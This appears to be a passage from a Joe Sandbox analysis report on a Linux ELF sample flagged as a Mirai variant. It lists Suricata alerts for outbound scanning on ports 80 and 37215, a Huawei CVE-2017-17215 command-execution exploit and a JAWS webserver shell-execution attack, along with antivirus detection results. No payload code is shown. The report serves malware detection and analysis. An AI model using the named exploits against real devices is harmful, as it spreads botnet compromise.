2024-12-03T22:17:30.813600+0100	2029034	1	Web Application Attack	192.168.2.23	44266	70.62.179.41	80	TCP
2024-12-03T22:17:30.842935+0100	2029034	1	Web Application Attack	192.168.2.23	35624	126.207.149.173	80	TCP
2024-12-03T22:17:30.842949+0100	2029034	1	Web Application Attack	192.168.2.23	49800	110.147.154.44	80	TCP
2024-12-03T22:17:30.843513+0100	2029034	1	Web Application Attack	192.168.2.23	32992	124.158.8.208	80	TCP
2024-12-03T22:17:30.843521+0100	2029034	1	Web Application Attack	192.168.2.23	44168	216.39.174.179	80	TCP
2024-12-03T22:17:30.843539+0100	2029034	1	Web Application Attack	192.168.2.23	59760	58.174.175.10	80	TCP
2024-12-03T22:17:30.843558+0100	2029034	1	Web Application Attack	192.168.2.23	43494	181.161.118.4	80	TCP
2024-12-03T22:17:30.868432+0100	2029034	1	Web Application Attack	192.168.2.23	47310	69.137.126.16	80	TCP
2024-12-03T22:17:30.868447+0100	2029034	1	Web Application Attack	192.168.2.23	33848	169.16.2.19	80	TCP
2024-12-03T22:17:30.871451+0100	2029034	1	Web Application Attack	192.168.2.23	57684	39.107.190.186	80	TCP
2024-12-03T22:17:30.874633+0100	2029034	1	Web Application Attack	192.168.2.23	55374	27.214.244.99	80	TCP
2024-12-03T22:17:30.874636+0100	2029034	1	Web Application Attack	192.168.2.23	58582	156.88.184.39	80	TCP
2024-12-03T22:17:30.874638+0100	2029034	1	Web Application Attack	192.168.2.23	37068	51.238.123.249	80	TCP
2024-12-03T22:17:30.874659+0100	2029034	1	Web Application Attack	192.168.2.23	49052	42.204.247.0	80	TCP
2024-12-03T22:17:30.883606+0100	2029034	1	Web Application Attack	192.168.2.23	55402	140.48.108.4	80	TCP
2024-12-03T22:17:30.883629+0100	2029034	1	Web Application Attack	192.168.2.23	54596	73.8.27.189	80	TCP
2024-12-03T22:17:30.889909+0100	2029034	1	Web Application Attack	192.168.2.23	50052	5.72.202.83	80	TCP
2024-12-03T22:17:30.890447+0100	2029034	1	Web Application Attack	192.168.2.23	35542	63.181.115.218	80	TCP
2024-12-03T22:17:30.890460+0100	2029034	1	Web Application Attack	192.168.2.23	49968	23.247.191.235	80	TCP
2024-12-03T22:17:30.890478+0100	2029034	1	Web Application Attack	192.168.2.23	36304	62.10.205.217	80	TCP
2024-12-03T22:17:30.891069+0100	2029034	1	Web Application Attack	192.168.2.23	52078	35.76.116.40	80	TCP
2024-12-03T22:17:30.891071+0100	2029034	1	Web Application Attack	192.168.2.23	44966	150.22.167.224	80	TCP
2024-12-03T22:17:30.891075+0100	2029034	1	Web Application Attack	192.168.2.23	55510	190.209.237.135	80	TCP
2024-12-03T22:17:30.891079+0100	2029034	1	Web Application Attack	192.168.2.23	33086	124.36.163.15	80	TCP
2024-12-03T22:17:30.891559+0100	2029034	1	Web Application Attack	192.168.2.23	47754	136.230.17.227	80	TCP
2024-12-03T22:17:30.891580+0100	2029034	1	Web Application Attack	192.168.2.23	55012	38.44.88.84	80	TCP
2024-12-03T22:17:30.899305+0100	2029034	1	Web Application Attack	192.168.2.23	39588	220.17.106.6	80	TCP
2024-12-03T22:17:30.899592+0100	2029034	1	Web Application Attack	192.168.2.23	58626	105.244.168.95	80	TCP
2024-12-03T22:17:30.899927+0100	2029034	1	Web Application Attack	192.168.2.23	50226	177.251.155.124	80	TCP
2024-12-03T22:17:30.900494+0100	2029034	1	Web Application Attack	192.168.2.23	43066	201.144.89.148	80	TCP
2024-12-03T22:17:30.900500+0100	2029034	1	Web Application Attack	192.168.2.23	32844	200.142.198.135	80	TCP
2024-12-03T22:17:30.931332+0100	2029034	1	Web Application Attack	192.168.2.23	45184	172.250.40.76	80	TCP
2024-12-03T22:17:30.931362+0100	2029034	1	Web Application Attack	192.168.2.23	33758	132.110.148.170	80	TCP
2024-12-03T22:17:30.931385+0100	2029034	1	Web Application Attack	192.168.2.23	45306	86.70.243.96	80	TCP
2024-12-03T22:17:30.931406+0100	2029034	1	Web Application Attack	192.168.2.23	57008	200.140.138.147	80	TCP
2024-12-03T22:17:30.945979+0100	2029034	1	Web Application Attack	192.168.2.23	60240	71.219.12.131	80	TCP
2024-12-03T22:17:31.820072+0100	2029034	1	Web Application Attack	192.168.2.23	57572	160.2.24.187	80	TCP
2024-12-03T22:17:31.836861+0100	2029034	1	Web Application Attack	192.168.2.23	50578	218.29.246.16	80	TCP
2024-12-03T22:17:31.843144+0100	2029034	1	Web Application Attack	192.168.2.23	43988	198.32.122.228	80	TCP
2024-12-03T22:17:31.852131+0100	2029034	1	Web Application Attack	192.168.2.23	60684	63.137.95.64	80	TCP
2024-12-03T22:17:31.858490+0100	2029034	1	Web Application Attack	192.168.2.23	38306	75.182.33.246	80	TCP
2024-12-03T22:17:31.858583+0100	2029034	1	Web Application Attack	192.168.2.23	35852	92.179.185.109	80	TCP
2024-12-03T22:17:31.899042+0100	2029034	1	Web Application Attack	192.168.2.23	57676	180.220.252.83	80	TCP
2024-12-03T22:17:31.930195+0100	2029034	1	Web Application Attack	192.168.2.23	50926	115.66.129.32	80	TCP
2024-12-03T22:17:31.936793+0100	2029034	1	Web Application Attack	192.168.2.23	33594	37.123.150.153	80	TCP
2024-12-03T22:17:32.015284+0100	2029034	1	Web Application Attack	192.168.2.23	48782	195.200.142.23	80	TCP
2024-12-03T22:17:32.040085+0100	2029034	1	Web Application Attack	192.168.2.23	42958	63.80.245.216	80	TCP
2024-12-03T22:17:33.265038+0100	2029034	1	Web Application Attack	192.168.2.23	57660	2.93.19.236	80	TCP
2024-12-03T22:17:34.218379+0100	2029034	1	Web Application Attack	192.168.2.23	43386	47.93.110.143	80	TCP
2024-12-03T22:17:34.321112+0100	2029034	1	Web Application Attack	192.168.2.23	35864	204.181.218.48	80	TCP
2024-12-03T22:17:34.343131+0100	2029034	1	Web Application Attack	192.168.2.23	57022	124.30.74.118	80	TCP
2024-12-03T22:17:34.343141+0100	2029034	1	Web Application Attack	192.168.2.23	59466	208.169.160.191	80	TCP
2024-12-03T22:17:34.399229+0100	2029034	1	Web Application Attack	192.168.2.23	40896	86.145.3.22	80	TCP
2024-12-03T22:17:34.399310+0100	2029034	1	Web Application Attack	192.168.2.23	57344	77.152.79.148	80	TCP
2024-12-03T22:17:34.399528+0100	2029034	1	Web Application Attack	192.168.2.23	58040	106.87.32.198	80	TCP
2024-12-03T22:17:34.421982+0100	2029034	1	Web Application Attack	192.168.2.23	42840	148.155.181.191	80	TCP
2024-12-03T22:17:34.430361+0100	2029034	1	Web Application Attack	192.168.2.23	49378	34.11.119.35	80	TCP
2024-12-03T22:17:34.445914+0100	2029034	1	Web Application Attack	192.168.2.23	40608	80.179.13.146	80	TCP
2024-12-03T22:17:34.452467+0100	2029034	1	Web Application Attack	192.168.2.23	42728	178.197.238.169	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:16:57.701713+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36064	197.4.255.171	37215	TCP
2024-12-03T22:17:02.741173+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38664	41.71.190.203	37215	TCP
2024-12-03T22:17:02.899626+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47242	156.231.61.46	37215	TCP
2024-12-03T22:17:03.104975+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58844	41.215.18.134	37215	TCP
2024-12-03T22:17:05.982297+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52546	156.229.62.237	37215	TCP
2024-12-03T22:17:06.318955+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52484	197.7.168.119	37215	TCP
2024-12-03T22:17:09.420536+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59658	156.21.203.122	37215	TCP
2024-12-03T22:17:09.603237+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38366	156.41.220.188	37215	TCP
2024-12-03T22:17:09.603665+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51230	197.137.137.132	37215	TCP
2024-12-03T22:17:11.360450+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48250	156.232.91.7	37215	TCP
2024-12-03T22:17:11.472007+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44360	156.101.171.54	37215	TCP
2024-12-03T22:17:11.592791+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52870	156.126.99.239	37215	TCP
2024-12-03T22:17:12.586366+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56452	197.193.108.120	37215	TCP
2024-12-03T22:17:12.592509+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57304	197.132.62.119	37215	TCP
2024-12-03T22:17:12.592650+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33370	41.30.218.207	37215	TCP
2024-12-03T22:17:12.601888+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39548	156.81.76.10	37215	TCP
2024-12-03T22:17:12.624095+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53450	197.166.40.133	37215	TCP
2024-12-03T22:17:12.639583+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42194	197.26.74.237	37215	TCP
2024-12-03T22:17:12.648840+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38188	41.7.124.25	37215	TCP
2024-12-03T22:17:12.664585+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39518	156.170.127.69	37215	TCP
2024-12-03T22:17:13.823878+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56048	197.105.173.170	37215	TCP
2024-12-03T22:17:14.742508+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53260	197.235.112.160	37215	TCP
2024-12-03T22:17:15.935363+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42236	197.1.206.139	37215	TCP
2024-12-03T22:17:15.967638+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50762	41.67.28.55	37215	TCP
2024-12-03T22:17:16.008813+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53344	156.100.250.170	37215	TCP
2024-12-03T22:17:16.015072+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50676	156.13.215.132	37215	TCP
2024-12-03T22:17:16.023873+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48634	156.210.38.127	37215	TCP
2024-12-03T22:17:16.023930+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56676	197.199.137.232	37215	TCP
2024-12-03T22:17:16.023994+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35002	197.81.175.206	37215	TCP
2024-12-03T22:17:16.055204+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44256	156.219.192.223	37215	TCP
2024-12-03T22:17:16.842698+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51134	41.72.40.186	37215	TCP
2024-12-03T22:17:16.842888+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37630	156.127.117.248	37215	TCP
2024-12-03T22:17:16.873950+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54208	156.173.48.6	37215	TCP
2024-12-03T22:17:16.874291+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50414	156.142.216.19	37215	TCP
2024-12-03T22:17:16.889567+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53894	197.125.185.133	37215	TCP
2024-12-03T22:17:16.889720+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50260	156.110.116.192	37215	TCP
2024-12-03T22:17:16.946143+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38364	156.30.63.25	37215	TCP
2024-12-03T22:17:16.967815+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45572	156.234.118.115	37215	TCP
2024-12-03T22:17:16.967895+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60136	156.138.215.210	37215	TCP
2024-12-03T22:17:17.014825+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40734	197.236.127.19	37215	TCP
2024-12-03T22:17:17.039542+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53846	41.195.129.201	37215	TCP
2024-12-03T22:17:17.039545+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55242	197.199.156.6	37215	TCP
2024-12-03T22:17:17.039728+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57052	197.36.67.95	37215	TCP
2024-12-03T22:17:17.054985+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55640	41.48.156.167	37215	TCP
2024-12-03T22:17:19.024060+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58934	156.136.30.83	37215	TCP
2024-12-03T22:17:19.030400+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57838	197.205.167.250	37215	TCP
2024-12-03T22:17:19.196043+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42506	197.120.156.119	37215	TCP
2024-12-03T22:17:19.196045+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43724	197.102.235.77	37215	TCP
2024-12-03T22:17:19.264566+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38640	156.218.59.212	37215	TCP
2024-12-03T22:17:19.295944+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35862	41.43.153.43	37215	TCP
2024-12-03T22:17:19.296135+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51316	197.17.103.86	37215	TCP
2024-12-03T22:17:19.296145+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41050	197.159.147.46	37215	TCP
2024-12-03T22:17:19.305303+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41428	41.14.50.44	37215	TCP
2024-12-03T22:17:19.351922+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60542	41.208.59.239	37215	TCP
2024-12-03T22:17:19.352131+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33892	197.127.87.85	37215	TCP
2024-12-03T22:17:20.139545+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43246	197.141.228.35	37215	TCP
2024-12-03T22:17:20.155490+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36492	156.102.50.103	37215	TCP
2024-12-03T22:17:20.155541+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45398	156.209.91.207	37215	TCP
2024-12-03T22:17:20.155636+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34020	197.132.239.110	37215	TCP
2024-12-03T22:17:20.170760+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47106	41.109.98.56	37215	TCP
2024-12-03T22:17:20.180101+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42094	41.117.51.108	37215	TCP
2024-12-03T22:17:20.186437+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48328	156.7.85.127	37215	TCP
2024-12-03T22:17:20.186569+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58618	197.118.170.210	37215	TCP
2024-12-03T22:17:20.195876+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42166	197.17.71.168	37215	TCP
2024-12-03T22:17:20.195899+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41958	197.115.32.3	37215	TCP
2024-12-03T22:17:20.196050+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46944	41.254.131.163	37215	TCP
2024-12-03T22:17:20.202162+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41560	156.133.251.13	37215	TCP
2024-12-03T22:17:20.202557+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42680	41.5.217.19	37215	TCP
2024-12-03T22:17:20.211386+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37848	197.103.210.192	37215	TCP
2024-12-03T22:17:20.211546+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52378	197.26.35.39	37215	TCP
2024-12-03T22:17:20.211658+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54930	156.9.30.47	37215	TCP
2024-12-03T22:17:20.211786+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38532	156.89.14.119	37215	TCP
2024-12-03T22:17:20.227047+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58626	41.34.214.87	37215	TCP
2024-12-03T22:17:20.227366+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33948	197.33.53.110	37215	TCP
2024-12-03T22:17:20.227370+0100	2835222	1	A Network Trojan was detected	192.168.2.23	34878	156.191.123.120	37215	TCP
2024-12-03T22:17:20.227416+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44954	197.133.93.229	37215	TCP
2024-12-03T22:17:20.227514+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33562	197.144.147.132	37215	TCP
2024-12-03T22:17:20.227649+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35912	197.145.151.250	37215	TCP
2024-12-03T22:17:20.227883+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47314	41.220.241.148	37215	TCP
2024-12-03T22:17:20.228016+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45482	41.59.198.162	37215	TCP
2024-12-03T22:17:20.436806+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59774	197.150.122.145	37215	TCP
2024-12-03T22:17:20.467969+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38814	197.164.229.139	37215	TCP
2024-12-03T22:17:20.477070+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58030	197.112.51.51	37215	TCP
2024-12-03T22:17:20.477071+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54846	156.103.184.211	37215	TCP
2024-12-03T22:17:20.477115+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43364	41.45.183.253	37215	TCP
2024-12-03T22:17:20.477239+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33108	156.2.213.29	37215	TCP
2024-12-03T22:17:22.312062+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46234	156.126.205.173	37215	TCP
2024-12-03T22:17:22.312282+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39432	156.98.219.76	37215	TCP
2024-12-03T22:17:22.320901+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60202	156.244.187.198	37215	TCP
2024-12-03T22:17:22.326997+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33752	41.147.45.161	37215	TCP
2024-12-03T22:17:22.327813+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42722	197.225.68.91	37215	TCP
2024-12-03T22:17:22.328154+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58368	197.127.1.201	37215	TCP
2024-12-03T22:17:22.328328+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46794	41.179.220.250	37215	TCP
2024-12-03T22:17:22.336394+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33256	41.90.157.197	37215	TCP
2024-12-03T22:17:22.336704+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56236	156.61.1.184	37215	TCP
2024-12-03T22:17:22.336792+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53530	41.204.93.8	37215	TCP
2024-12-03T22:17:22.343088+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44924	197.103.182.67	37215	TCP
2024-12-03T22:17:22.343224+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59426	41.101.114.169	37215	TCP
2024-12-03T22:17:22.352420+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49732	41.127.74.226	37215	TCP
2024-12-03T22:17:22.352627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44534	156.69.249.252	37215	TCP
2024-12-03T22:17:22.352636+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60458	156.208.104.233	37215	TCP
2024-12-03T22:17:22.368439+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51756	41.218.179.25	37215	TCP
2024-12-03T22:17:22.384228+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47758	41.234.62.63	37215	TCP
2024-12-03T22:17:22.477379+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51224	41.235.173.53	37215	TCP
2024-12-03T22:17:23.593603+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37580	197.133.185.111	37215	TCP
2024-12-03T22:17:23.609059+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57836	156.13.114.133	37215	TCP
2024-12-03T22:17:23.618077+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40174	156.105.61.8	37215	TCP
2024-12-03T22:17:23.618370+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33430	41.99.9.78	37215	TCP
2024-12-03T22:17:23.624132+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51728	41.196.239.127	37215	TCP
2024-12-03T22:17:23.624178+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40592	197.221.96.253	37215	TCP
2024-12-03T22:17:23.639907+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58448	41.206.26.236	37215	TCP
2024-12-03T22:17:23.640102+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36116	156.15.254.233	37215	TCP
2024-12-03T22:17:23.648778+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44030	197.83.152.134	37215	TCP
2024-12-03T22:17:23.648967+0100	2835222	1	A Network Trojan was detected	192.168.2.23	33492	156.153.72.153	37215	TCP
2024-12-03T22:17:24.648986+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35484	156.118.69.166	37215	TCP
2024-12-03T22:17:24.649265+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46742	197.151.72.14	37215	TCP
2024-12-03T22:17:25.090753+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44612	197.214.201.241	37215	TCP
2024-12-03T22:17:25.452266+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58910	156.167.104.86	37215	TCP
2024-12-03T22:17:25.467796+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40884	156.59.68.15	37215	TCP
2024-12-03T22:17:25.467948+0100	2835222	1	A Network Trojan was detected	192.168.2.23	37164	41.233.58.226	37215	TCP
2024-12-03T22:17:25.514768+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52558	41.196.234.206	37215	TCP
2024-12-03T22:17:25.514770+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38046	197.172.41.216	37215	TCP
2024-12-03T22:17:25.514847+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56018	197.20.71.88	37215	TCP
2024-12-03T22:17:25.664505+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50104	41.152.153.123	37215	TCP
2024-12-03T22:17:28.680318+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53620	41.134.113.101	37215	TCP
2024-12-03T22:17:28.874326+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36082	197.113.251.30	37215	TCP
2024-12-03T22:17:28.890157+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35462	41.7.189.101	37215	TCP
2024-12-03T22:17:28.952386+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57134	197.45.37.40	37215	TCP
2024-12-03T22:17:28.961661+0100	2835222	1	A Network Trojan was detected	192.168.2.23	42582	41.105.24.147	37215	TCP
2024-12-03T22:17:30.891588+0100	2835222	1	A Network Trojan was detected	192.168.2.23	39982	197.144.143.181	37215	TCP
2024-12-03T22:17:31.196085+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49322	41.78.113.96	37215	TCP
2024-12-03T22:17:31.202574+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40508	156.52.61.114	37215	TCP
2024-12-03T22:17:31.296082+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56274	197.115.249.67	37215	TCP
2024-12-03T22:17:31.311827+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35810	156.92.200.1	37215	TCP
2024-12-03T22:17:31.311849+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54448	156.169.1.97	37215	TCP
2024-12-03T22:17:31.311870+0100	2835222	1	A Network Trojan was detected	192.168.2.23	35610	156.9.9.89	37215	TCP
2024-12-03T22:17:31.321061+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57680	41.90.62.40	37215	TCP
2024-12-03T22:17:31.327195+0100	2835222	1	A Network Trojan was detected	192.168.2.23	59198	197.93.50.27	37215	TCP
2024-12-03T22:17:31.327254+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49052	41.14.17.142	37215	TCP
2024-12-03T22:17:31.336454+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48452	41.196.59.170	37215	TCP
2024-12-03T22:17:31.336588+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52828	41.125.152.211	37215	TCP
2024-12-03T22:17:31.352359+0100	2835222	1	A Network Trojan was detected	192.168.2.23	49904	197.27.121.87	37215	TCP
2024-12-03T22:17:31.893521+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51618	41.83.167.213	37215	TCP
2024-12-03T22:17:32.180371+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52938	156.59.49.123	37215	TCP
2024-12-03T22:17:32.202497+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38276	156.190.253.78	37215	TCP
2024-12-03T22:17:32.227297+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48064	41.10.198.228	37215	TCP
2024-12-03T22:17:32.577516+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47998	156.69.225.37	37215	TCP
2024-12-03T22:17:33.187064+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40718	156.208.52.241	37215	TCP
2024-12-03T22:17:33.218466+0100	2835222	1	A Network Trojan was detected	192.168.2.23	40926	197.105.244.70	37215	TCP
2024-12-03T22:17:33.227172+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52280	41.183.102.85	37215	TCP
2024-12-03T22:17:33.227302+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38664	156.172.224.255	37215	TCP
2024-12-03T22:17:33.227607+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48908	197.214.166.194	37215	TCP
2024-12-03T22:17:33.227627+0100	2835222	1	A Network Trojan was detected	192.168.2.23	53936	197.56.91.125	37215	TCP
2024-12-03T22:17:33.227661+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50030	156.7.106.195	37215	TCP
2024-12-03T22:17:33.227861+0100	2835222	1	A Network Trojan was detected	192.168.2.23	46648	41.184.151.87	37215	TCP
2024-12-03T22:17:33.233612+0100	2835222	1	A Network Trojan was detected	192.168.2.23	58786	156.183.226.15	37215	TCP
2024-12-03T22:17:33.233722+0100	2835222	1	A Network Trojan was detected	192.168.2.23	48086	41.226.216.73	37215	TCP
2024-12-03T22:17:33.249058+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55496	41.227.141.5	37215	TCP
2024-12-03T22:17:33.265186+0100	2835222	1	A Network Trojan was detected	192.168.2.23	44394	41.38.160.169	37215	TCP
2024-12-03T22:17:33.274228+0100	2835222	1	A Network Trojan was detected	192.168.2.23	60044	41.254.203.185	37215	TCP
2024-12-03T22:17:33.289914+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57946	197.76.109.180	37215	TCP
2024-12-03T22:17:33.436644+0100	2835222	1	A Network Trojan was detected	192.168.2.23	41276	41.196.197.161	37215	TCP
2024-12-03T22:17:33.524125+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57786	197.38.60.230	37215	TCP
2024-12-03T22:17:33.539693+0100	2835222	1	A Network Trojan was detected	192.168.2.23	36672	41.200.27.182	37215	TCP
2024-12-03T22:17:33.539821+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43430	41.69.219.160	37215	TCP
2024-12-03T22:17:33.561556+0100	2835222	1	A Network Trojan was detected	192.168.2.23	57056	41.145.182.114	37215	TCP
2024-12-03T22:17:33.561770+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51606	156.206.56.56	37215	TCP
2024-12-03T22:17:33.592865+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47750	156.106.22.139	37215	TCP
2024-12-03T22:17:33.592943+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56230	156.97.198.178	37215	TCP
2024-12-03T22:17:33.608745+0100	2835222	1	A Network Trojan was detected	192.168.2.23	43902	197.241.105.170	37215	TCP
2024-12-03T22:17:33.649148+0100	2835222	1	A Network Trojan was detected	192.168.2.23	38242	197.36.125.136	37215	TCP
2024-12-03T22:17:33.649231+0100	2835222	1	A Network Trojan was detected	192.168.2.23	55366	197.86.128.82	37215	TCP
2024-12-03T22:17:34.390050+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50138	197.213.62.19	37215	TCP
2024-12-03T22:17:34.390125+0100	2835222	1	A Network Trojan was detected	192.168.2.23	45964	156.139.198.243	37215	TCP
2024-12-03T22:17:34.399443+0100	2835222	1	A Network Trojan was detected	192.168.2.23	51708	197.96.222.51	37215	TCP
2024-12-03T22:17:34.421584+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47062	156.42.169.123	37215	TCP
2024-12-03T22:17:34.421782+0100	2835222	1	A Network Trojan was detected	192.168.2.23	56446	197.184.225.139	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.elf

ReversingLabs: Detection: 76%

Machine Learning detection for sample

Source: x86_64.elf

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36100 -> 148.77.50.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36100 -> 148.77.50.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56390 -> 201.216.93.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56390 -> 201.216.93.118:80
